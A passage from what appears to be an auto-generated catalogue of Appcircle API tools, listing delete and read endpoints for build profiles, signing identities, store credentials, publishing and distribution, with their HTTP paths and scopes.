/store-credential/v2/credential/playstore/{storeCredentialId} DELETE /api/v1/appcircle/store-credential/v2/credential/playstore/{storeCredentialId}. Scopes: api. appcircle_delete_v2_keystores_by_keystoreid (write, destructive) — Delete a keystore via DELETE /signing-identity/v2/keystores/{keystoreId} DELETE /api/v1/appcircle/signing-identity/v2/keystores/{keystoreId}. Scopes: api. appcircle_delete_v2_profiles_by_platformtype_by_profileid (write, destructive) — Deletes a publish profile and its app versions & publishes via DELETE /publish/v2/profiles/{platformType}/{profileId} DELETE /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}. Scopes: api. appcircle_delete_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid (write, destructive) — removes an appversion from publish via DELETE /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId} DELETE /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_delete_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_files (write, destructive) — Deletes multiple metadata screenshots from Appcircle via DELETE /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files DELETE /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files. Scopes: api. appcircle_delete_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_files_by_metadatafileid (write, destructive) — Deletes metadata screenshot from Appcircle via DELETE /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files/{metadatafileId} DELETE /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files/{metadatafileId}. Scopes: api. appcircle_delete_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata_files (write, destructive) — Removes multiple Play Store metadata files via DELETE /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files DELETE /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files. Scopes: api. appcircle_delete_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata_files_by_metadatafileid (write, destructive) — Deletes a single Play Store metadata file via DELETE /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files/{metadatafileId} DELETE /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files/{metadatafileId}. Scopes: api. appcircle_delete_v2_profiles_by_profileid (write, destructive) — Delete a profile via DELETE /build/v2/profiles/{profileId} DELETE /api/v1/appcircle/build/v2/profiles/{profileId}. Scopes: api. appcircle_delete_v2_profiles_by_profileid_app_versions (write, destructive) — Removes the App versions by Ids, which is uploaded or distributed by the build module. via DELETE /distribution/v2/profiles/{profileId}/app-versions DELETE /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions. Scopes: api. appcircle_delete_v2_profiles_by_profileid_app_versions_by_appversionid (write, destructive) — removes an appversion from enterprise store via DELETE /store/v2/profiles/{profileId}/app-versions/{appVersionId} DELETE /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_delete_v2_profiles_by_profileid_app_versions_by_appversionid_1 (write, destructive) — (Deprecated, use V3) Removes the App version by Id, which is uploaded or distributed by the build module. via DELETE /distribution/v2/profiles/{profileId}/app-versions/{appVersionId} DELETE /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions/{appVersionId}~1. Scopes: api. appcircle_delete_v2_profiles_by_profileid_app_versions_by_appversionid_2 (write, destructive) — (Deprecated, use V3) Removes testers from App Version via DELETE /distribution/v2/profiles/{profileId}/app-versions/{appVersionId} DELETE /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions/{appVersionId}~2. Scopes: api. appcircle_delete_v2_profiles_by_profileid_configurations_by_configurationid (write, destructive) — Delete a configuration of a profile via DELETE /build/v2/profiles/{profileId}/configurations/{configurationId} DELETE /api/v1/appcircle/build/v2/profiles/{profileId}/configurations/{configurationId}. Scopes: api. appcircle_delete_v2_provisioning_profiles (write, destructive) — Get details of a provisioning profile (DELETE /signing-identity/v2/provisioning-profiles) via DELETE /signing-identity/v2/provisioning-profiles DELETE /api/v1/appcircle/signing-identity/v2/provisioning-profiles. Scopes: api. appcircle_delete_v2_testing_groups_by_groupid (write, destructive) — Removes testing group by Id via DELETE /distribution/v2/testing-groups/{groupId} DELETE /api/v1/appcircle/distribution/v2/testing-groups/{groupId}. Scopes: api. appcircle_delete_v2_testing_groups_by_groupid_testers (write, destructive) — Removes tester/testers from test group. via DELETE /distribution/v2/testing-groups/{groupId}/testers DELETE /api/v1/appcircle/distribution/v2/testing-groups/{groupId}/testers. Scopes: api. appcircle_delete_v2_testing_groups_testers (write, destructive) — Removes testers from all groups via DELETE /distribution/v2/testing-groups/testers DELETE /api/v1/appcircle/distribution/v2/testing-groups/testers. Scopes: api. appcircle_delete_v2_variable_groups_by_variablegroupid (write, destructive) — Deletes environment group via DELETE /build/v2/variable-groups/{variableGroupId} DELETE /api/v1/appcircle/build/v2/variable-groups/{variableGroupId}. Scopes: api. appcircle_delete_v2_variable_groups_by_variablegroupid_variables (write, destructive) — Remove exist environment variable/variables from exist group. via DELETE /build/v2/variable-groups/{variableGroupId}/variables DELETE /api/v1/appcircle/build/v2/variable-groups/{variableGroupId}/variables. Scopes: api. appcircle_delete_v2_webhooks_by_id (write, destructive) — Delete a webhook via DELETE /webhook/v2/webhooks/{Id} DELETE /api/v1/appcircle/webhook/v2/webhooks/{Id}. Scopes: api. appcircle_delete_v3_profiles_by_profileid_app_versions_by_appversionid (write, destructive) — Removes the App version by Id via DELETE /distribution/v3/profiles/{profileId}/app-versions/{appVersionId} DELETE /api/v1/appcircle/distribution/v3/profiles/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_delete_v3_profiles_by_profileid_app_versions_by_appversionid_testings (write, destructive) — Removes testers from App Version via DELETE /distribution/v3/profiles/{profileId}/app-versions/{appVersionId}/testings DELETE /api/v1/appcircle/distribution/v3/profiles/{profileId}/app-versions/{appVersionId}/testings. Scopes: api. appcircle_get_v1_connection (read) — Get connection via GET /build/v1/connection GET /api/v1/appcircle/build/v1/connection. Scopes: api. appcircle_get_v1_connection_by_connectionid (read) — Get connection connection id via GET /build/v1/connection/{connectionId} GET /api/v1/appcircle/build/v1/connection/{connectionId}. Scopes: api. appcircle_get_v1_connection_by_connectionid_connections_has_same_instance (read) — Get connection connection id connections has same instance via GET /build/v1/connection/{connectionId}/connections-has-same-instance GET /api/v1/appcircle/build/v1/connection/{connectionId}/connections-has-same-instance. Scopes: api. appcircle_get_v1_connection_by_connectionid_related_profiles (read) — Get connection connection id related profiles via GET /build/v1/connection/{connectionId}/related-profiles GET /api/v1/appcircle/build/v1/connection/{connectionId}/related-profiles. Scopes: api. appcircle_get_v1_organizations (read) — Retrieve the user's organizations via GET /identity/v1/organizations GET /api/v1/appcircle/identity/v1/organizations. Scopes: api. appcircle_get_v1_queue_by_commitid_builds_by_buildid (read) — Gets queue item by commitId via GET /build/v1/queue/{commitId}/builds/{buildId} GET /api/v1/appcircle/build/v1/queue/{commitId}/builds/{buildId}. Scopes: api. appcircle_get_v1_queue_by_taskid_1 (read) — (Deprecated use V3) Gets queue item by taskId via GET /build/v1/queue/{taskId} GET /api/v1/appcircle/build/v1/queue/{taskId}~1. Scopes: api. appcircle_get_v1_queue_by_taskid_2 (read) — (Deprecated use V3) Cancels queue by taskId via GET /build/v1/queue/{taskId} GET /api/v1/appcircle/build/v1/queue/{taskId}~2. Scopes: api. appcircle_get_v1_queue_logs_by_taskid (read) — Gets dashboard log by taskId via GET /build/v1/queue/logs/{taskId} GET /api/v1/appcircle/build/v1/queue/logs/{taskId}. Scopes: api. appcircle_get_v1_tasks_by_id (read) — Gets status of TaskId. via GET /task/v1/tasks/{id} GET /api/v1/appcircle/task/v1/tasks/{id}. Scopes: api. appcircle_get_v2_app_release_information_by_platformtype_by_profileid_by_appversionid (read) — Gets App Store release information for an app version via GET /publish/v2/app-release-information/{platformType}/{profileId}/{appVersionId} GET /api/v1/appcircle/publish/v2/app-release-information/{platformType}/{profileId}/{appVersionId}. Scopes: api. appcircle_get_v2_app_usage (read) — Gets app usage report via GET /store-report/v2/app-usage GET /api/v1/appcircle/store-report/v2/app-usage. Scopes: api. appcircle_get_v2_app_usage_downloads (read) — Gets download report by user via GET /store-report/v2/app-usage/downloads GET /api/v1/appcircle/store-report/v2/app-usage/downloads. Scopes: api. appcircle_get_v2_apple_store_connect_api_by_storecredentialid_bundles (read) — Get bundles from Appstore Connect for provided credential via GET /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/bundles GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/bundles. Scopes: api. appcircle_get_v2_apple_store_connect_api_by_storecredentialid_bundles_by_id (read) — Get details of a bundle from Appstore Connect for provided credential and bundle Id via GET /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/bundles/{id} GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/bundles/{id}. Scopes: api. appcircle_get_v2_apple_store_connect_api_by_storecredentialid_certificates (read) — Get all Appstore Connect certificates for provided credential via GET /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/certificates GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/certificates. Scopes: api. appcircle_get_v2_apple_store_connect_api_by_storecredentialid_certificates_by_id (read) — Get details of a certificate from Appstore Connect for provided credential and certificate Id via GET /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/certificates/{id} GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/certificates/{id}. Scopes: api. appcircle_get_v2_apple_store_connect_api_by_storecredentialid_devices (read) — Get all Appstore Connect devices for provided credential via GET /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/devices GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/devices. Scopes: api. appcircle_get_v2_apple_store_connect_api_by_storecredentialid_profiles (read) — Get list of provisioning profiles from Appstore Connect for provided credential via GET /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/profiles GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/profiles. Scopes: api. appcircle_get_v2_apple_store_connect_api_by_storecredentialid_profiles_by_id (read) — Get details of a provisioning profile from Appstore Connect for provided credential and provisinging profile Id via GET /signing-identity/v2/apple-store-connect-api/{storeCredentialId}/profiles/{id} GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/{storeCredentialId}/profiles/{id}. Scopes: api. appcircle_get_v2_apple_store_connect_api_saved_settings (read) — Get all Appstore Connect api key definitions via GET /signing-identity/v2/apple-store-connect-api/saved-settings GET /api/v1/appcircle/signing-identity/v2/apple-store-connect-api/saved-settings. Scopes: api. appcircle_get_v2_build (read) — Retrieves build reports with detailed usage metrics via GET /report/v2/build GET /api/v1/appcircle/report/v2/build. Scopes: api. appcircle_get_v2_bundle_identifier (read) — Lists bundle identifiers in Appcircle via GET /signing-identity/v2/bundle-identifier GET /api/v1/appcircle/signing-identity/v2/bundle-identifier. Scopes: api. appcircle_get_v2_bundle_identifier_by_id (read) — Get bundle identifiers in Appcircle via GET /signing-identity/v2/bundle-identifier/{id} GET /api/v1/appcircle/signing-identity/v2/bundle-identifier/{id}. Scopes: api. appcircle_get_v2_bundle_identifier_capability_types (read) — Lists editable capability types via GET /signing-identity/v2/bundle-identifier/capability-types GET /api/v1/appcircle/signing-identity/v2/bundle-identifier/capability-types. Scopes: api. appcircle_get_v2_certificates (read) — Get list of uploaded/installed certificates via GET /signing-identity/v2/certificates GET /api/v1/appcircle/signing-identity/v2/certificates. Scopes: api. appcircle_get_v2_certificates_by_id (read) — Get details of a certificate via GET /signing-identity/v2/certificates/{id} GET /api/v1/appcircle/signing-identity/v2/certificates/{id}. Scopes: api. appcircle_get_v2_commits (read) — Gets all commits by branchId via GET /build/v2/commits GET /api/v1/appcircle/build/v2/commits. Scopes: api. appcircle_get_v2_commits_by_commithash (read) — Get commit details by commit hash via GET /build/v2/commits/{commitHash} GET /api/v1/appcircle/build/v2/commits/by-hash/{commitHash}. Scopes: api. appcircle_get_v2_commits_by_commitid (read) — Gets detail of commit by CommitId via GET /build/v2/commits/{commitId} GET /api/v1/appcircle/build/v2/commits/{commitId}. Scopes: api. appcircle_get_v2_commits_by_commitid_builds_by_buildid (read) — Download build artifacts of build via GET /build/v2/commits/{commitId}/builds/{buildId} GET /api/v1/appcircle/build/v2/commits/{commitId}/builds/{buildId}. Scopes: api. appcircle_get_v2_commits_by_commitid_builds_by_buildid_logs (read) — Download build log via GET /build/v2/commits/{commitId}/builds/{buildId}/logs GET /api/v1/appcircle/build/v2/commits/{commitId}/builds/{buildId}/logs. Scopes: api. appcircle_get_v2_commits_by_commitid_builds_by_buildid_status (read) — Gets build status via GET /build/v2/commits/{commitId}/builds/{buildId}/status GET /api/v1/appcircle/build/v2/commits/{commitId}/builds/{buildId}/status. Scopes: api. appcircle_get_v2_commits_last_commit (read) — Gets last commit by branchId via GET /build/v2/commits/last-commit GET /api/v1/appcircle/build/v2/commits/last-commit. Scopes: api. appcircle_get_v2_credential_appgallery_saved_settings (read) — Get list of Huawei App Gallery credentials via GET /store-credential/v2/credential/appgallery/saved-settings GET /api/v1/appcircle/store-credential/v2/credential/appgallery/saved-settings. Scopes: api. appcircle_get_v2_credential_apple_app_specific_password_saved_settings (read) — Get list of app specific Appstore Connect connections via GET /store-credential/v2/credential/apple-app-specific-password/saved-settings GET /api/v1/appcircle/store-credential/v2/credential/apple-app-specific-password/saved-settings. Scopes: api. appcircle_get_v2_credential_apple_store_connect_api_saved_settings (read) — Get list of Appstore Connect connections via GET /store-credential/v2/credential/apple-store-connect-api/saved-settings GET /api/v1/appcircle/store-credential/v2/credential/apple-store-connect-api/saved-settings. Scopes: api. appcircle_get_v2_credential_connection_list (read) — Get list of all credentials for Google Play, Appstore Connect, Intune or Huawei App Gallery via GET /store-credential/v2/credential/connection-list GET /api/v1/appcircle/store-credential/v2/credential/connection-list. Scopes: api. appcircle_get_v2_credential_intune_saved_settings (read) — Get list of Intune credentials via GET /store-credential/v2/credential/intune/saved-settings GET /api/v1/appcircle/store-credential/v2/credential/intune/saved-settings. Scopes: api. appcircle_get_v2_credential_playstore_saved_settings (read) — Get list of Google Play connections via GET /store-credential/v2/credential/playstore/saved-settings GET /api/v1/appcircle/store-credential/v2/credential/playstore/saved-settings. Scopes: api. appcircle_get_v2_distribute_sent (read) — Retrieve the daily usage report for distributed app sharing. via GET /report/v2/distribute-sent GET /api/v1/appcircle/report/v2/distribute-sent. Scopes: api. appcircle_get_v2_distribute_sent_profiles (read) — Get distinct profile names for App Sharing Report filter. via GET /report/v2/distribute-sent/profiles GET /api/v1/appcircle/report/v2/distribute-sent/profiles. Scopes: api. appcircle_get_v2_distribute_versions (read) — Generates a daily usage report for distributed app versions. via GET /report/v2/distribute-versions GET /api/v1/appcircle/report/v2/distribute-versions. Scopes: api. appcircle_get_v2_keystores (read) — Get list of all installed/uploaded keystores via GET /signing-identity/v2/keystores GET /api/v1/appcircle/signing-identity/v2/keystores. Scopes: api. appcircle_get_v2_keystores_by_id (read) — Get details of a keystore via GET /signing-identity/v2/keystores/{id} GET /api/v1/appcircle/signing-identity/v2/keystores/{id}. Scopes: api. appcircle_get_v2_licenses_current (read) — Gets the current license, its limits and current usage via GET /license/v2/licenses/current GET /api/v1/appcircle/license/v2/licenses/current. Scopes: api. appcircle_get_v2_profiles (read) — Gets all build profiles via GET /build/v2/profiles GET /api/v1/appcircle/build/v2/profiles. Scopes: api. appcircle_get_v2_profiles_by_platformtype (read) — Gets all publish profile list of current organization via GET /publish/v2/profiles/{platformType} GET /api/v1/appcircle/publish/v2/profiles/{platformType}. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid (read) — Gets publish profile detail for given profileId; app versions are embedded only when addAppVersions=true via GET /publish/v2/profiles/{platformType}/{profileId} GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions (read) — Gets publish app version list for given profileId of current organization via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid (read) — get download link for an app version (GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}) via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId} GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_beta_submission_details (read) — Gets beta submission details for an app version via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/beta-submission-details GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/beta-submission-details. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_intune_metadata (read) — Gets saved/imported Microsoft Intune Metadata from Appcircle via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/intune/metadata GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/intune/metadata. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata (read) — Get saved/imported metadata on Appcircle via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_files (read) — Get saved/imported metadata screenshots on Appcircle via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata-files. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_metadata_locales (read) — Gets metadata language list for app version profile via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata/locales GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/metadata/locales. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata (read) — Gets Play Store metadata for an app version via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata_files (read) — Lists Play Store metadata files for an app version via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata-files. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_playstore_metadata_locales (read) — Gets Play Store metadata locales for an app version via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata/locales GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/playstore-metadata/locales. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_app_versions_by_appversionid_publish (read) — Gets publish details for an app version via GET /publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/publish GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/app-versions/{appVersionId}/publish. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_appinfo (read) — Gets App Info from App Store Connect, saves it locally if there are any changes via GET /publish/v2/profiles/{platformType}/{profileId}/appinfo GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/appinfo. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_appinfo_categories (read) — Gets App Info categories from App Store Connect via GET /publish/v2/profiles/{platformType}/{profileId}/appinfo/categories GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/appinfo/categories. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_beta_appinfo (read) — Gets beta (TestFlight) app information for a profile via GET /publish/v2/profiles/{platformType}/{profileId}/beta-appinfo GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/beta-appinfo. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_beta_appinfo_locales (read) — Gets supported locales for beta app information via GET /publish/v2/profiles/{platformType}/{profileId}/beta-appinfo/locales GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/beta-appinfo/locales. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_intune_apps (read) — Gets app list from Microsoft Intune via GET /publish/v2/profiles/{platformType}/{profileId}/intune/apps GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/intune/apps. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_intune_categories (read) — Gets Microsoft Intune app categories via GET /publish/v2/profiles/{platformType}/{profileId}/intune/categories GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/intune/categories. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_intune_os (read) — Gets min supported OS versions for Micorosoft Intune via GET /publish/v2/profiles/{platformType}/{profileId}/intune/os GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/intune/os. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_metadata_locales (read) — Gets metadata language list for app version of profile via GET /publish/v2/profiles/{platformType}/{profileId}/metadata/locales GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/metadata/locales. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_metadata_lock (read) — Gets Metadata locked status, Metadata updates are locked for ongoing/completed approval processes via GET /publish/v2/profiles/{platformType}/{profileId}/metadata/lock GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/metadata/lock. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_playstore_appinfo (read) — Gets Play Store app information for a profile via GET /publish/v2/profiles/{platformType}/{profileId}/playstore-appinfo GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/playstore-appinfo. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_publish_by_publishid (read) — Gets details of a publish by Id via GET /publish/v2/profiles/{platformType}/{profileId}/publish/{publishId} GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_publish_by_publishid_flowdocument (read) — Get YAML definition of a publish via GET /publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}/flowdocument GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}/flowdocument. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_publish_by_publishid_step_by_stepid_logs (read) — Get execution logs for a publish step via GET /publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}/step/{stepId}/logs GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publish/{publishId}/step/{stepId}/logs. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_publishflows (read) — Gets all publish flow definitions for a profile via GET /publish/v2/profiles/{platformType}/{profileId}/publishflows GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publishflows. Scopes: api. appcircle_get_v2_profiles_by_platformtype_by_profileid_publishflows_by_publishflowid (read) — Gets details of a flow definitions via GET /publish/v2/profiles/{platformType}/{profileId}/publishflows/{publishflowId} GET /api/v1/appcircle/publish/v2/profiles/{platformType}/{profileId}/publishflows/{publishflowId}. Scopes: api. appcircle_get_v2_profiles_by_platformtype_filters (read) — Gets all publish profile filter and sorting values via GET /publish/v2/profiles/{platformType}/filters GET /api/v1/appcircle/publish/v2/profiles/{platformType}/filters. Scopes: api. appcircle_get_v2_profiles_by_profileid (read) — Gets profile detail by Id (GET /build/v2/profiles/{profileId}) via GET /build/v2/profiles/{profileId} GET /api/v1/appcircle/build/v2/profiles/{profileId}. Scopes: api. appcircle_get_v2_profiles_by_profileid_app_versions (read) — Gets app-versions of a profile for given params via GET /distribution/v2/profiles/{profileId}/app-versions GET /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions. Scopes: api. appcircle_get_v2_profiles_by_profileid_app_versions_by_appversionid (read) — To get detail of the App version, which is uploaded or distributed by the build module. via GET /distribution/v2/profiles/{profileId}/app-versions/{appVersionId} GET /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions/{appVersionId}. Scopes: api. appcircle_get_v2_profiles_by_profileid_app_versions_by_appversionid_download (read) — Get download link for an app version, which is uploaded or distributed by the build module. via GET /distribution/v2/profiles/{profileId}/app-versions/{appVersionId}/download GET /api/v1/appcircle/distribution/v2/profiles/{profileId}/app-versions/{appVersionId}/download. Scopes: api. appcircle_get_v2_profiles_by_profileid_app_versions_by_appversionid_download_link (read) — get download link for an app version (GET /store/v2/profiles/{profileId}/app-versions/{appVersionId}/download-link) via GET /store/v2/profiles/{profileId}/app-versions/{appVersionId}/download-link GET /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/{appVersionId}/download-link. Scopes: api. appcircle_get_v2_profiles_by_profileid_app_versions_publish_types_by_publishtype (read) — Gets enterprise store app version list for given profileId and publish type of current organization via GET /store/v2/profiles/{profileId}/app-versions/publish-types/{publishtype} GET /api/v1/appcircle/store/v2/profiles/{profileId}/app-versions/publish-types/{publishtype}. Scopes: api. appcircle_get_v2_profiles_by_profileid_configurations (read) — Get configurations of a profile via GET /build/v2/profiles/{profileId}/configurations GET /api/v1/appcircle/build/v2/profiles/{profileId}/configurations. Scopes: api. appcircle_get_v2_profiles_by_profileid_configurations_by_configurationid (read) — Get details of a specific configuration of a profile via GET /build/v2/profiles/{profileId}/configurations/{configurationId} GET /api/v1/appcircle/build/v2/profiles/{profileId}/configurations/{configurationId}. Scopes: api. appcircle_get_v2_profiles_by_profileid_configurations_by_configurationid_content (read) — Download a specific configuration of a profile via GET /build/v2/profiles/{profileId}/configurations/{configurationId}/content GET /api/v1/appcircle/build/v2/profiles/{profileId}/configurations/{configurationId}/content. Scopes: api. appcircle_get_v2_profiles_by_profileid_qr_code (read) — Gets QRCode of public profile link via GET /distribution/v2/profiles/{profileId}/qr-code GET /api/v1/appcircle/distribution/v2/profiles/{profileId}/qr-code. Scopes: api. appcircle_get_v2_profiles_by_profileid_workflows (read) — Get workflows of build profile via GET /build/v2/profiles/{profileId}/workflows GET /api/v1/appcircle/build/v2/profiles/{profileId}/workflows. Scopes: api. appcircle_get_v2_profiles_by_profileid_workflows_by_workflowid (read) — Get a single workflow definition via GET /build/v2/profiles/{profileId}/workflows/{workflowId} GET /api/v1/appcircle/build/v2/profiles/{profileId}/workflows/{workflowId}. Scopes: api. appcircle_get_v2_profiles_by_profileid_workflows_defaults (read) — Get the default workflow set for a build profile via GET /build/v2/profiles/{profileId}/workflows/defaults GET /api/v1/appcircle/build/v2/profiles/{profileId}/workflows/defaults. Scopes: api. appcircle_get_v2_profiles_filters (read) — Gets all build profile filter and sorting values via GET /build/v2/profiles/filters GET /api/v1/appcircle/build/v2/profiles/filters. Scopes: api. appcircle_get_v2_provisioning_profiles (read) — Get list of all installed/uploaded provisioning profiles via GET /signing-identity/v2/provisioning-profiles GET /api/v1/appcircle/signing-identity/v2/provisioning-profiles. Scopes: api. appcircle_get_v2_provisioning_profiles_by_id (read) — Get details of a provisioning profile (GET /signing-identity/v2/provisioning-profiles/{id}) via GET /signing-identity/v2/provisioning-profiles/{id} GET /api/v1/appcircle/signing-identity/v2/provisioning-profiles/{id}. Scopes: api. appcircle_get_v2_publish_activity (read) — Retrieve the publish activity report via GET /report/v2/publish/activity GET /api/v1/appcircle/report/v2/publish/activity. Scopes: api. appcircle_get_v2_publish_activity_profile_names (read) — List profile names for the publish activity filter via GET /report/v2/publish/activity/profile-names GET /api/v1/appcircle/report/v2/publish/activity/profile-names. Scopes: api. appcircle_get_v2_publish_resigns (read) — Retrieve the publish re-sign report via GET /report/v2/publish/resigns GET /api/v1/appcircle/report/v2/publish/resigns. Scopes: api. appcircle_get_v2_publish_resigns_profile_names (read) — List profile names for the publish re-sign filter via GET /report/v2/publish/resigns/profile-names GET /api/v1/appcircle/report/v2/publish/resigns/profile-names. Scopes: api. appcircle_get_v2_publish_resigns_source_binaries (read) — List source binaries for the publish re-sign filter via GET /report/v2/publish/resigns/source-binaries GET /api/v1/appcircle/report/v2/publish/resigns/source-binaries. Scopes: api. appcircle_get_v2_publish_status (read) — Retrieve the publish status report via GET /report/v2/publish/status GET /api/v1/appcircle/report/v2/publish/status. Scopes: api. appcircle_get_v2_publish_status_app_names (read) — List app names for the publish status filter via GET /report/v2/publish/status/app-names GET /api/v1/appcircle/report/v2/publish/status/app-names. Scopes: api. appcircle_get_v2_publish_status_profile_names (read) — List profile names for the publish status filter via GET /report/v2/publish/status/profile-names GET /api/v1/appcircle/report/v2/publish/status/profile-names. Scopes: api. appcircle_get_v2_retention (read) — Gets the artifact retention settings via GET /license/v2/retention GET /api/v1/appcircle/license/v2/retention. Scopes: api. appcircle_get_v2_rollout_by_platformtype_by_profileid_by_appversionid (read) — Gets rollout info for a specific track via GET /publish/v2/rollout/{platformType}/{profileId}/{appVersionId} GET 